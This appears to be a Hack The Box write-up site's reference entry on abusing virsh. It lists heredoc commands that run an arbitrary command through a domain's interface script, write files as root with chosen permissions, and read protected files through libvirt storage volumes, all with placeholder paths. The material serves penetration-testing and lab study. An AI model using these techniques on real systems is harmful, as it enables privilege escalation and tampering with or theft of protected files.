~/bokkapig
hack the box machine writeups

virsh

Command

This executable can run non-interactive system commands.
  1. This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    cat >/path/to/temp-file.xml <<EOF
<domain type='kvm'>
  <name>x</name>
  <os>
    <type arch='x86_64'>hvm</type>
  </os>
  <memory unit='KiB'>1</memory>
  <devices>
    <interface type='ethernet'>
      <script path='/path/to/command'/>
    </interface>
  </devices>
</domain>
EOF
virsh -c qemu:///system create /path/to/temp-file.xml
virsh -c qemu:///system destroy x

File write

This executable can write data to local files.
  1. CommentThis requires the user to be in the libvirt group. If the target directory doesn’t exist, pool-create-as must be run with the --build option. The destination file ownership and permissions can be set in the XML.
    This function can be performed by any unprivileged user.
    echo DATA >/path/to/temp-file

cat >/path/to/temp-file.xml <<EOF
<volume type='file'>
  <name>y</name>
  <key>/path/to/output-dir/output-file</key>
  <source>
  </source>
  <capacity unit='bytes'>5</capacity>
  <allocation unit='bytes'>4096</allocation>
  <physical unit='bytes'>5</physical>
  <target>
    <path>/path/to/output-dir/output-file</path>
    <format type='raw'/>
    <permissions>
      <mode>0600</mode>
      <owner>0</owner>
      <group>0</group>
    </permissions>
  </target>
</volume>
EOF

virsh -c qemu:///system pool-create-as x dir --target /path/to/output-dir/
virsh -c qemu:///system vol-create --pool x --file /path/to/temp-file.xml
virsh -c qemu:///system vol-upload --pool x /path/to/output-dir/output-file /path/to/temp-file
virsh -c qemu:///system pool-destroy x
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo DATA >/path/to/temp-file

cat >/path/to/temp-file.xml <<EOF
<volume type='file'>
  <name>y</name>
  <key>/path/to/output-dir/output-file</key>
  <source>
  </source>
  <capacity unit='bytes'>5</capacity>
  <allocation unit='bytes'>4096</allocation>
  <physical unit='bytes'>5</physical>
  <target>
    <path>/path/to/output-dir/output-file</path>
    <format type='raw'/>
    <permissions>
      <mode>0600</mode>
      <owner>0</owner>
      <group>0</group>
    </permissions>
  </target>
</volume>
EOF

virsh -c qemu:///system pool-create-as x dir --target /path/to/output-dir/
virsh -c qemu:///system vol-create --pool x --file /path/to/temp-file.xml
virsh -c qemu:///system vol-upload --pool x /path/to/output-dir/output-file /path/to/temp-file
virsh -c qemu:///system pool-destroy x
  2. CommentThis requires the user to be in the libvirt group.
    This function can be performed by any unprivileged user.
    virsh -c qemu:///system pool-create-as x dir --target /path/to/dir/
virsh -c qemu:///system vol-download --pool x input-file output-file
virsh -c qemu:///system pool-destroy x
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    virsh -c qemu:///system pool-create-as x dir --target /path/to/dir/
virsh -c qemu:///system vol-download --pool x input-file output-file
virsh -c qemu:///system pool-destroy x